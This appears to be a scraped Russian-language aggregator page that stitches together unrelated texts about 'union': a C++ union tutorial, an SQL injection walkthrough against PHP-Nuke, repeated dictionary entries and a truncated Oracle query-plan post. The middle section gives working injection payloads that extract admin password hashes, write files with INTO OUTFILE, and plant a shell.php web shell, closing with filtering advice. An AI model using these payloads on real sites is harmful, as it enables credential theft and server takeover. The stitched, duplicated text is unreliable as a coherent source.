Использование команды UNION. С union


Объединения в С++ (union C++) видео

Технология объединений union берет свои истоки в 90-х. Слабенькие по нашим временам ЭВМ (сейчас их и компьютерами то не назовешь), мало памяти (все измерялось килобайтами). Жесткие диски по 40 мегабайт были чуть ли не чудом техники, олицетворяющим огроменные объемы информации, которые умельцами “растачивались” специальными ПО до хранения 80 мегабайт (чтоб побольше было). Каждый байт памяти был на вес золота, приходилось экономить на всём. Вот и объединение переменных тоже было призвано (и достаточно успешно, о чем я расскажу ниже) помочь программисту сделать оптимальную и экономную программу, “кушающую” маленькие объемы памяти.

Чтобы понять в чем смысл объединения нужно вспомнить как хранятся переменные. Разные переменные разного типа или одинаковой группы типов (вроде int, long и short) несмотря на работу с одним и тем же типом данных (имею ввиду целое) занимают в памяти разное количество байт. long в любом случае занимает максимальное количество байт в памяти, при этом в память для переменной этого типа вполне можно записать значения int или short. Просто получится, что не все зарезервированные байты long-а будут востребованы. Если поместить к примеру число 325 в long, будут заняты два байта (зависит от разрядности процессора), а остальные байты заполнятся нулями.

Именно в этом и появляется смысл union, ибо эта инструкция говорит компилятору: “Зарезервируй мне место для типа данных с максимальным запросом объема памяти, а я уже буду сама разбираться, как и какие значения в них положить”.

Объединение – это такой формат данных, который подобен структуре. Оно (объединение) способно хранить в пределах одной зарезервированной области памяти различные типы данных. Но в каждый определенный момент времени в объединении хранится только один из этих типов данных и возможно использовать лишь значение этого элемента (компонента). Синтаксически определяют объединение так (очень похоже на определение структуры):

union { short int name1; int name2; long int name3; } myUnion; // объект объединения

union

{

short int name1;

int name2;

long int name3;

} myUnion; // объект объединения

Доступ к элементам объединения осуществляется так же, как и к элементам структур: Имя объекта объединения myUnion , точка . и имя элемента name1 .

К данным, которые хранят элементы структуры (например short, int, long) мы можем обращаться в любой момент (хоть к одному, хоть и ко всем сразу). А в объединении могут храниться данные либо short, либо int, либо long. Например:

#include <iostream> using namespace std; union { short int name1; int name2; long int name3; } myUnion; int main() { myUnion.name1 = 22; cout << myUnion.name1 << endl; myUnion.name3 = 222222222; cout << myUnion.name3 << endl; cout << myUnion.name1 << endl; // снова обращаемся к name1 }

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

#include <iostream>

using namespace std;

 

union

{

short int name1;

int name2;

long int name3;

} myUnion;

 

int main()

{

myUnion.name1 = 22;

cout << myUnion.name1 << endl;

myUnion.name3 = 222222222;

cout << myUnion.name3 << endl;

cout << myUnion.name1 << endl; // снова обращаемся к name1

}

Запускаем программу:

Как видите, после того, как мы записали значение в элемент name3 типа long int , уже невозможно нормально обращаться к элементу name1 . Все потому, что в их общую память уже записано значение long int, а переменная типа short int неспособна работать с данными такого объема. Схематически можно это представить так:

Поэтому, чтобы опять работать с данными типа short int необходимо снова присвоить элементу name1 новое значение. Вот и получается – память одна и та же, а переменные в ней размещаются разные. К какой обращаемся – такая и запрашивает из этой памяти значение.

Элементы объединения располагаются в памяти начиная с одного места (как бы накладываются друг на друга), в отличии от элементов структуры (они располагаются в памяти последовательно один за другим).

Применение объединений вызвано необходимостью экономии памяти, когда нужно хранить и использовать данные разных типов, но обращаться к ним можно не одновременно.

Если бы мы описали просто набор переменных не объединяя их в union, то для их размещения потребовалось бы 2 + 4 + 4 байта = 10 байт. Вот и экономия. А так объединение занимает 4 байта. Целых 6 байт сэкономили, натрамбовав три переменные в один отрезок памяти.

К слову нужно заметить, что эта технология умудрилась получить неплохое продолжение, и в современных языках используется везде где нужно и не нужно. СиШарп, PHP, Делфи, современные наследники Си плюс плюс – все они используют такие объединения. Только в современном мире они уже называются variant. В переменную variant можно без проблем запихнуть до 10 байт (10 это максимум для 32-х разрядных систем под вещественное число). Соответственно в эти 10 байт и все семейство целых и вещественных, и указатели, и объекты, и строки (точнее описатели строк или указатели на них) вмещаются.

На сегодняшний день экономия памяти не так актуальна, как 15-20 лет назад. Конечно, никто не запрещает использовать union, но зачем? Если есть более удобные на сегодня средства работы с памятью для программиста.

Следует отметить также, что программы для выполнения в память загружаются с избытком (т.е. для программы выделяется количество памяти, зачастую чрезвычайно большее чем надо). Это можно наблюдать, написав программу с одной переменной. Казалось бы – переменная 4 байта, но открыв диспетчер задач в Винде программа “почему-то” заняла 10 килобайт. Так работает современная операционная система, выделяя памяти с лихвой. В 90-х, увы, такой роскоши и быть не могло.

В следующем уроке мы рассмотрим битовые поля в С++. Не поленитесь посмотреть видео по теме Объединения (union) в С++:

Рассылка новых уроков по программированию:

Объединения в С++ (union C++)

3.8 (76%) 5 votes

purecodecpp.com

Использование команды UNION | SQL

Итак команда union используется для обьединения вывода двух или более запросов select.Особенности команды которые придется учитывать:Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны быть совместимы для объединения. Это означает, что каждый запрос должен указывать одинаковое количество столбцов и в том же порядке и каждый должен иметь тип, совместимый с каждым.Также данная возможность появилать только в mysql версии 4.0 т.е. на более ранних версиях БД работать не будет.

Вид команды таков:

select a1, a2, a3 from table1 union select b1, b2, b3 from table2;

Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.

Например:

select text11, text12, int11 from t1 union select text21, text22, int22 from t2;

Думаю наиболее удобно будет рассмотреть работу с данной командой на конкретном примере. Помучить предлагаю php-nuke версии 7.0 final. Советую скачать и поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем mysql с ведением логов и приступаем.

================================================—/// sql injection на примере php-nuke================================================

Итак разбираться будем с модулем news

http://127.0.0.1/nuke7/modules.php?name=news&new_topic=1

Вот такой запрос выводит первый топик на движке. Попробуем поставить кавычку к значению new_topic, соответственно теперь запрос становится таким:

http://127.0.0.1/nuke7/modules.php?name=ne…ew_topic=1′

Отдаем в браузере запрос и смотрим логи mysql:…10 query select topictext from nuke_topics where topicid=’1»^!!!

10 query select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,score, ratings from nuke_stories where topic=’1» order by sid desc limit 10^!!!…

Вот тут наша ковычка себя и проявила =)Видите: where topicid=’1»

Рассмотрим первый запрос:

select topictext from nuke_topics where topicid=’1»Выборка topictext из таблицы nuke_topics где topicid=1′Теперь посмотрим тип topictext:

+————————-+| topictext | varchar(40) |+————————-+

Отлично теперь попробуем использовать команду union:Отдаем в браузере запрос:

modules.php?name=news&new_topic=999' union select pwd from nuke_authors/*

Отлично =) Вместо названия раздела мы видим хеш пароля админа. Что же произошло.Опять смотрим логи mysql:

14 query select topictext from nuke_topics where topicid='999' union select pwd from nuke_authors/*'

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^вот он наш запрос

Вот оно. Мы делаем выборку из nuke_topics где topicid=’999′ и данный запрос естественно ничего не возвращает т.к. такого топика у нас нет и делаем выборку pwd из таблицы nuke_authors и данный запрос возвращает хеш пароля первого пользователя который и подставляется в название раздела. Заметьте что если мы укажем существующий номер топика то результата мы не получим т.к. будет подставлено название этого топика а не хеш. Поэтому мы и используем номер 999. Вот первая уязвимость =)

Давайте рассмотрим второй запрос: ( запрос разбит на несколько строк для удобства )

select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratingsfrom nuke_storieswhere topic=’1» <— Вот тут мы можем вставить свой sql-кодorder by sid desc limit 10

Посмотрим какие типы данных у нас в таблице nuke_stories:

+————+—————+| sid | int(11) |+————+—————+| catid | int(11) |+————+—————+| aid | varchar(30) |+————+—————+| title | varchar(80) |+————+—————+| time | datetime |+————+—————+| hometext | text |+————+—————+| bodytext | text |+————+—————+| comments | int(11) |+————+—————+| counter | mediumint(8) |+————+—————+| topic | int(3) |+————+—————+| informant | varchar(20) |+————+—————+| notes | text |+————+—————+| acomm | int(1) |+————+—————+| score | int(10) |+————+—————+| ratings | int(10) |+————+—————+

Теперь также просмотрим таблицу nuke_authors на типы записей и составим запрос с union таким образом чтобы типы из таблицы nuke_stories совпадали с типами из nuke_authors и запрос примет вид:

modules.php?name=news&new_topic=999′ union select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter from nuke_authors /*

Отдаем запрос в браузере и видим топик с содержанием хеша пароля =) Тут уже не обязательно указывать несуществующий топик т.к. все работает и с топиком существующим в базе.

Если посмотреть логи БД то можно увидеть что был отдан вот такой запрос к базе данных: (запрос разбит на 4 блока для большего удобства)

select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings from nuke_stories where topic='1' union select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter from nuke_authors /* ' order by sid desc limit 10

Как вы можете видеть в обоих запросах количество и типы столбцев совпадают.Запрос специально разбит на 4 блока:1 блок — это первый запрос select выбирающий из таблицы nuke_stories2 блок — команда обьединения запросов union3 блок — второй запрос select который выбирает хеш пароля и счетчик из таблицы nuke_authors4 блок — все что идет после "/*" будет рассматриваться как комментарий

================================================—/// Вывод данных в файл================================================

К слову сказать, в инете полно практически одинаковых статей про sql-injection и все они рассказывают про атаки данного типа при использовании ms sql в качестве сервера базы данных. Конечно сервак от мелкомягких дает поистинне потрясающие возможности для взлома всего сервера за счет возможностей разделения запросов в строке и прочих фишек но это тема другой статьи а у нас на повестке mysql в котором все не так просто, но это совсем не плохо, это хорошо т.к. с mysql возится сложнее а значит интереснее =) А к чему я это сказал? Да просто в тех статьях описывается взлом при авторизации и авторизация там происходит примерно таким запросом:

select * from users where login='blabla' and password='blabla';

Изврат! Не правда-ли? Абсолютно убогий способ работы с базой данных. Зачем спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда унесло = Мы лучше рассмотрим авторизацию в php-nuke 6.9. в котором процесс авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки! Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода в этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на эту тему статья будет чуть позднее а рассмотрим внедрение кода просто через форму авторизации. Для этого и пришлось использовать более раннюю версию. Как пример.Запускаем http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и пароля. Ну вы наверно уже догадались что мы будем делать? Конечно вписываем в качестве логина admin’ (не забудьте про кавычку) и 123 в кач-ве пароля. Хммм… Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль в базе другие совсем =)))Чтож опять лезем смотреть логи mysql:

1 query select pwd, admlanguage from nuke_authors where aid='admin''

^ — вот она наша родная кавычка =)

Стоп! Вы уже побежали вставлять union и select? Рано. Дело в том что в данном модуле не происходит никакого вывода полученных данных из БД. Естественно раз нет вывода то и вывести полученный хеш нам некуда. Что же делать. К счастью в mysql есть замечательная опция сохранения выбранных из таблицы данных в файл. Производится данный финт ушами следующим образом:

select * from table into outfile 'путь_к_файлу/файл';

Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет ввести длинный логин поэтому придется передавать данные через строку браузера:

http://127.0.0.1/phpnuke69/admin.php?op=lo…&aid=admin’ into outfile ‘pwd.txt

После запроса данной строки в БД исполняется:

9 query select pwd, admlanguage from nuke_authors where aid='admin' into outfile 'pwd.txt'

И хеш пароля пользователя "admin" оказывается записан в файл pwd.txt. Но вся проблемма в том что файл создается не в корне www-сервера а в каталоге базы данных. Для создания файла в каталоге доступном через web необходимо указывать полный путь:

/phpnuke/admin.php?op=login&pwd=123&aid=admin’ into outfile ‘././././www/www1/phpnuke69/pwd.txt

И теперь уже:

http://127.0.0.1/phpnuke69/pwd.txt

Выдаст нам хеш админа.Конечно необходимо учитывать права доступа и не факт что вы сможете записать файл в нужное место но это сейчас не важно. Главное что мы смогли сформировать нужный запрос и создать файл.

================================================—/// Получение http-шелла================================================

Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то большего =) Их есть у меня =)Как мы уже разобрались файлы мы создавать можем. А ведь в файл можно записать любую инфу из базы данных, почему бы не воспользоваться этим и не создать себе маленький такой http-шелл посредством создания php файла с незатейливым и наверно всем знакомым содержанием:

Итак воспользовавшись одним из описанных выше методов вам удалось все-таки получить хеш пароля админа и вы благополучно залогинились как админ движка, расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно рассмотрена в следующей статье) Теперь вам необходимо каким-либо образом вставить php-код в одно из значений в базе данных а потом вывести его в файл. Вот способ которым воспользовался я:

Логинимся под админом. В меню администрирования входим в раздел topics. Создаем новый топик.В поле topic name пишем passthruв поле topic text пишем:

Теперь вспомним уязвимость описанную выше в этой статье, а именно:

modules.php?name=news&new_topic=999′ union select pwd from nuke_authors/*select topictext from nuke_topics where topicid=’999′ union select pwd from nuke_authors/*’

Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца "topictext"

http://127.0.0.1/phpnuke/modules.php?name=…ew_topic=2′ into outfile ‘shell.php’ /*

где 2 — номер нового топика , shell.php — файл который будет создан

Не забудьте прописать путь к файлу.После выполнения данного запроса будет создан файл shell.php содержащий нужныйнам пхп-код.

================================================—/// Методы защиты================================================

Если вы все-таки прочитали статью то наверно уже поняли что единственно верной защитой является фильтрация всех данных принимаемых от пользователя. Наилучшим решением будет разрешить использование лишь букв и цифр. В случае если принимаемое значение должно быть цифрой, проверяейте его перед помещением в sql запрос.Не стоит надеятся на фильтрацию лишь одной кавычки т.к. во-первых атакующий может использовать другие символы для если не внедрения кода то хотя бы для получения дополнительной информации (например о пути к сайту) из сообщений о ошибках. И во-вторых если скрипт отфильтровывает какой-либо символ, то его можно заменить конструкцией +char(0xКОД_СИМВОЛА)+.Также обращу внимание что фильтровать надо все данные пришедшие от пользователя в запросах, в куках, в общем вообще все!

================================================—/// Заключение================================================

Ну вот и все. Я постарался рассмотреть наиболее информативные примеры атак типа sql-injection. Надеюсь теперь вы сможете избежать ошибок при кодинге скриптов работающих с базами данных. Удачи.p.s. Вся информация в данной статье служит исключительно в образовательных целях. Эта статья всего лишь попытка помочь авторам скриптов и указать на возможные ошибки при работе с базами данных.Так сказать, врага нужно знать в лицо!

www.internet-technologies.ru

union — с английского на русский

ˈju:njən сущ. 1) а) объединение, союз;уния to break up a union, to dissolve a union ≈ разрушить союз, расформировать объединение to form a union ≈ заключить союз, образовать союз craft union ≈ масонское братство industrial union ≈ промышленное объединение postal union ≈ почтовый союз student union ≈ студенческий союз the Union б) союз (государственное объединение) Soviet Union ≈ Советский Союз в) профсоюз, тред-юнион union officials ≈ профсоюзные руководители white-collar union ≈ профсоюз "белых воротничков" (профсоюз служащих, учителей, научных работников и т.д.) Syn : trade union г) брачный союз д) (the Union) студенческий клуб е) уст. объединение нескольких приходов для помощи бедным 2) а) соединение, слияние In 1918 the Romanian majority in this former tsarist province voted for union with Romania. ≈ В 1918 году большинство румын этой бывшей царской провинции проголосовало за объединение с Румынией. б) единение, согласие 3) тех. ниппель, штуцер, муфта и другие виды соединений соединение, слияние - the * of the three small towns into one big city took place last year в прошлом году произошло слияние трех небольших городов в один крупный город - a gracious * of excellence and strength привлекательное сочетание мастерства и силы объединение, союз - сustoms * таможенный союз уния - the U. Англо-шотландская уния (1707 г.) ; Англо-ирландская уния (1801 г.) (математика) объединение - * of sets объединение множеств союз (государственное объединение) - the Soviet U. (историческое) Советский Союз Соединенное Королевство - U. flag государственный флаг Соединенного королевства Соединенные Штаты - State of the U. message доклад о положении США (президента конгрессу) профессиональный союз, тред-юнион - closed * профсоюз с ограниченным числом членов - * worker член профсоюза - * wages заработная плата, утвержденная профсоюзом - * label (американизм) этикетка, удостоверяющая, что товар изготовлен членами профсоюза - * сard профсоюзный билет брачный союз - * of hearts союз любящих сердец, брак по любви - a happy * счастливый союз (эвфмеизм) половое сношение - illicit * внебрачное сожительство гармония, согласие - to live in perfect * жить в полном согласии (историческое) объединение нескольких приходов для помощи бедным (историческое) работный дом - to go into the * жить в работном доме студенческий клуб эмблема, символизирующая объединение (на государственном флаге) (техническое) ниппель, штуцер;патрубок; муфта ткань из различных видов волокна; смесовая ткань affiliated ~ филиал профсоюза ~ профессиональный союз, тред-юнион;closed union профсоюз с ограниченным числом членов; to join the union вступить в профсоюз consensual ~ консенсуальный союз credit ~ кредитный союз (Великобритания) credit ~ общество взаимного кредита economic ~ экономический союз exchange rate ~ валютный союз ~ единение, согласие; in perfect union в полном согласии industrial trade ~ производственный профсоюз industrial ~ производственный профсоюз international trade ~ международная профсоюзная организация ~ профессиональный союз, тред-юнион; closed union профсоюз с ограниченным числом членов; to join the union вступить в профсоюз labour ~ профсоюз legislative ~ законодательный союз local trade ~ местный профсоюз local ~ местный союз monetary ~ валютный союз monetary ~ денежный союз monetary ~ монетный союз national ~ государственное объединение passport ~ паспортный союз personal ~ личная уния real ~ реальная уния tariff ~ таможенный союз trade ~ профсоюз;профсоюзный trade ~ профсоюз trade ~ тред-юнион, профсоюз trade ~ тред-юнион; профсоюз trades ~ = trade union trades ~ = trade union union брачный союз; union of hearts брак по любви ~ брачный союз ~ единение, согласие; in perfect union в полном согласии ~ тех. ниппель; штуцер; муфта ~ объединение, соединение; союз ~ объединение ~ объединение лиц без права юридического лица; профессиональный союз ~ уст. объединение нескольких приходов для помощи бедным ~ вчт. объединенный ~ профессиональный союз, тред-юнион; closed union профсоюз с ограниченным числом членов; to join the union вступить в профсоюз ~ профессиональный союз ~ союз (государственное объединение) ~ союз; объединение государств; уния ~ союз ~ (the U.) студенческий клуб the Union Соединенное Королевство the Union амер. Соединенные штаты the Union уния Англии с Шотландией the Union уния Великобритании с Ирландией ~ attr. профсоюзный;union shop предприятие, на котором могут работать только члены профсоюза ~ label этикетка, удостоверяющая, что товар изготовлен членами профсоюза union брачный союз; union of hearts брак по любви ~ of inputs вчт. объединение входящих потоков ~ of streams вчт. объединение потоков ~ attr. профсоюзный; union shop предприятие, на котором могут работать только члены профсоюза Western European Union Западноевропейский союз white-collar ~ профсоюз инженерно-технических работников white-collar ~ профсоюз служащих

translate.academic.ru

union — с немецкого на русский

  • Union — generally refers to two or more things joined into one, such as an organization of multiple people or organizations, multiple objections combined into one, and so on. The term may mean:In politics* The Union , referring to the federation that is… …   Wikipedia

  • Union — (lat. unio, „Einheit“, „Vereinigung“) bezeichnet: Politik und Geschichte: Europäische Union Afrikanische Union Union Südamerikanischer Nationen Arabische Union Personalunion, unter der Herrschaft eines Fürsten bei Beibehaltung des politischen… …   Deutsch Wikipedia

  • Unión — o union puede referirse a: Contenido 1 Familiares 2 Económicas 3 Sindicales 4 Políticas 4.1 …   Wikipedia Español

  • union — u‧nion [ˈjuːnjən] noun 1. [countable] an organization formed by workers to protect their rights: • If you decide to join the union you are encouraged to play an active part and to ensure your views are represented. • a union agreement (= an… …   Financial and business terms

  • Union — Union, AL U.S. town in Alabama Population (2000): 227 Housing Units (2000): 103 Land area (2000): 0.820095 sq. miles (2.124036 sq. km) Water area (2000): 0.000000 sq. miles (0.000000 sq. km) Total area (2000): 0.820095 sq. miles (2.124036 sq. km) …   StarDict's U.S. Gazetteer Places

  • Union — Un ion (?; 277), n. [F., from L. unio oneness, union, a single large pearl, a kind of onion, fr. unus one. See {One}, and cf. {Onion}, {Unit}.] 1. The act of uniting or joining two or more things into one, or the state of being united or joined;… …   The Collaborative International Dictionary of English

  • Union — Un ion (?; 277), n. [F., from L. unio oneness, union, a single large pearl, a kind of onion, fr. unus one. See {One}, and cf. {Onion}, {Unit}.] 1. The act of uniting or joining two or more things into one, or the state of being united or joined;… …   The Collaborative International Dictionary of English

  • union — n 1: an act or instance of uniting or joining two or more things into one; esp: the formation of a single political unit from two or more separate and individual units 2: something that is made one: something formed by a combining or coalition of …   Law dictionary

  • union — Union. s. fem. Jonction de plusieurs choses ensemble. L union de l ame avec le corps. du chef & des membres. l union de cette terre. l union de ces charges. On appelle, Union hypostatique, L union du Verbe avec la nature humaine. On appelle,… …   Dictionnaire de l'Académie française

  • Union 76 — (now 76) is a chain of gas stations located within the United States. The Union 76 brand is owned by ConocoPhillips. Union Oil Company of California, dba Unocal, the original owner and creator of the Union 76 brand merged with Chevron Corporation …   Wikipedia

  • UNION — (magazine) Pour les articles homonymes, voir Union.  Union {{{nomorigine}}} …   Wikipédia en Français

  • translate.academic.ru

    union — с русского на английский

  • Union — generally refers to two or more things joined into one, such as an organization of multiple people or organizations, multiple objections combined into one, and so on. The term may mean:In politics* The Union , referring to the federation that is… …   Wikipedia

  • Union — (lat. unio, „Einheit“, „Vereinigung“) bezeichnet: Politik und Geschichte: Europäische Union Afrikanische Union Union Südamerikanischer Nationen Arabische Union Personalunion, unter der Herrschaft eines Fürsten bei Beibehaltung des politischen… …   Deutsch Wikipedia

  • Unión — o union puede referirse a: Contenido 1 Familiares 2 Económicas 3 Sindicales 4 Políticas 4.1 …   Wikipedia Español

  • union — u‧nion [ˈjuːnjən] noun 1. [countable] an organization formed by workers to protect their rights: • If you decide to join the union you are encouraged to play an active part and to ensure your views are represented. • a union agreement (= an… …   Financial and business terms

  • Union — Union, AL U.S. town in Alabama Population (2000): 227 Housing Units (2000): 103 Land area (2000): 0.820095 sq. miles (2.124036 sq. km) Water area (2000): 0.000000 sq. miles (0.000000 sq. km) Total area (2000): 0.820095 sq. miles (2.124036 sq. km) …   StarDict's U.S. Gazetteer Places

  • Union — Un ion (?; 277), n. [F., from L. unio oneness, union, a single large pearl, a kind of onion, fr. unus one. See {One}, and cf. {Onion}, {Unit}.] 1. The act of uniting or joining two or more things into one, or the state of being united or joined;… …   The Collaborative International Dictionary of English

  • Union — Un ion (?; 277), n. [F., from L. unio oneness, union, a single large pearl, a kind of onion, fr. unus one. See {One}, and cf. {Onion}, {Unit}.] 1. The act of uniting or joining two or more things into one, or the state of being united or joined;… …   The Collaborative International Dictionary of English

  • union — n 1: an act or instance of uniting or joining two or more things into one; esp: the formation of a single political unit from two or more separate and individual units 2: something that is made one: something formed by a combining or coalition of …   Law dictionary

  • union — Union. s. fem. Jonction de plusieurs choses ensemble. L union de l ame avec le corps. du chef & des membres. l union de cette terre. l union de ces charges. On appelle, Union hypostatique, L union du Verbe avec la nature humaine. On appelle,… …   Dictionnaire de l'Académie française

  • Union 76 — (now 76) is a chain of gas stations located within the United States. The Union 76 brand is owned by ConocoPhillips. Union Oil Company of California, dba Unocal, the original owner and creator of the Union 76 brand merged with Chevron Corporation …   Wikipedia

  • UNION — (magazine) Pour les articles homonymes, voir Union.  Union {{{nomorigine}}} …   Wikipédia en Français

  • translate.academic.ru

    перевод, произношение, транскрипция, примеры использования

    Профсоюз отказался согласиться со снижением заработной платы. ☰

    Union of Myanmar 

    Союз Мьянма ☰

    Arab Maghreb Union 

    Арабский Магрибский союз ☰

    European Payments Union 

    Европейский платёжный союз ☰

    International Union of Biochemistry 

    Международный биохимический союз ☰

    Are you planning to join the union? 

    Вы планируете вступить в профсоюз? ☰

    The union had openly flouted the law. 

    Профсоюз открыто пренебрегал законом. ☰

    The union has blacked a trucking firm. 

    Профсоюз объявил бойкот одной автотранспортной компании. ☰

    Pan-American Union 

    Панамериканский союз ☰

    Asian Clearing Union 

    Азиатский клиринговый союз ☰

    Trade Union Congress 

    Британский конгресс профсоюзов ☰

    Latin Monetary Union 

    Латинский валютный союз ☰

    National Farmers Union 

    Национальный союз фермеров ☰

    National Taxpayers' Union 

    Национальный союз налогоплательщиков (США) ☰

    Scandinavian Monetary Union 

    Скандинавский валютный союз ☰

    Scottish Trades Union Congress 

    Шотландский конгресс профсоюзов ☰

    International Union of Tenants 

    Международный союз арендаторов ☰

    The Union army was a vast blue. 

    Войска северян были словно огромное синее море. (мундиры северян во время Гражданской войны в США были синего цвета) ☰

    She joined the teachers' union. 

    Она вступила в профсоюз учителей. ☰

    fought to keep the union intact 

    боролись за сохранение союза в целости и сохранности ☰

    He joined the tradesmen's union. 

    Он присоединился к профсоюзу работников торговли. ☰

    European Trade Union Confederation 

    Европейская конфедерация профсоюзов ☰

    The union is picketing the factory. 

    Профсоюз пикетирует фабрику. ☰

    a union of loosely federated states 

    объединение свободно интегрированных штатов ☰

    wooordhunt.ru

    Запросы с UNION ALL и высокой стоимостью в 11.2.0.3

    Запросы с UNION ALL и высокой стоимостью в 11.2.0.3

    Медленный запрос с огромными, судя по плану, стоимостью, потреблением временного пространства и предполагаемым временем выполнения:

    11.2.0.3.@ SQL> explain plan for -- Case#1 2 select 3 bg1.client_id 4 from 5 VIEW_W_UNION_ALL bg1 6 left join VIEW_W_UNION_ALL bg2 7 on bg2.client_id = bg1.client_id and 8 bg2.product_id = bg1.product_id and 9 bg2.start_dt = add_months(bg1.start_dt, -12) 10 where bg1.start_dt > add_months(sysdate, -6) 11 group by bg1.client_id, 12 bg1.product_id, 13 bg1.start_dt 14 / ----------------------------------------------------------------------------------------------------------------------------- | Id | Operation | Name | Rows | Bytes |TempSpc| Cost (%CPU)| Time | ----------------------------------------------------------------------------------------------------------------------------- | 0 | SELECT STATEMENT | | 2359K| 76M| | 922M (74)|999:59:59 | | 1 | HASH GROUP BY | | 2359K| 76M| 192T| 922M (74)|999:59:59 | | 2 | NESTED LOOPS OUTER | | 4761G| 147T| | 73M (1)|225:33:27 | -- не самая быстрая операция для больших наборов данных | 3 | VIEW | VIEW_W_UNION_ALL | 4098K| 74M| | 17754 (3)| 00:03:16 | | 4 | UNION-ALL | | | | | | | |* 5 | FILTER | | | | | | | |* 6 | MAT_VIEW ACCESS FULL | MAT_VIEW_________1 | 2028K| 36M| | 8877 (3)| 00:01:38 | |* 7 | FILTER | | | | | | | |* 8 | MAT_VIEW ACCESS FULL | MAT_VIEW_________2 | 2069K| 37M| | 8877 (3)| 00:01:38 | |* 9 | VIEW | VIEW_W_UNION_ALL | 1 | 15 | | 18 (0)| 00:00:01 | | 10 | UNION ALL PUSHED PREDICATE | | | | | | | |* 11 | FILTER | | | | | | | |* 12 | MAT_VIEW ACCESS BY INDEX ROWID| MAT_VIEW_________1 | 1 | 19 | | 9 (0)| 00:00:01 | |* 13 | INDEX RANGE SCAN | IDX_MAT_VIEW______1_CLIENT_ID | 6 | | | 3 (0)| 00:00:01 | |* 14 | FILTER | | | | | | | |* 15 | MAT_VIEW ACCESS BY INDEX ROWID| MAT_VIEW_________2 | 1 | 19 | | 9 (0)| 00:00:01 | |* 16 | INDEX RANGE SCAN | IDX_MAT_VIEW______2_CLIENT_ID | 6 | | | 3 (0)| 00:00:01 | -----------------------------------------------------------------------------------------------------------------------------

    LEFT JOIN в этом запросе может показаться излишним, что не совсем так — здесь выделена только проблемная часть более комплексного запроса, действительно требующего соединения. Хотя и непонятно, отчего Oracle не может на этапе разбора исключить явно избыточное внешнее соединение — но сейчас интересен собственно запрос с большой стоимостью выполнения (причина чего, вероятнее всего, как-то связана с неточной оценкой количества строк, полу

    iusoltsev.wordpress.com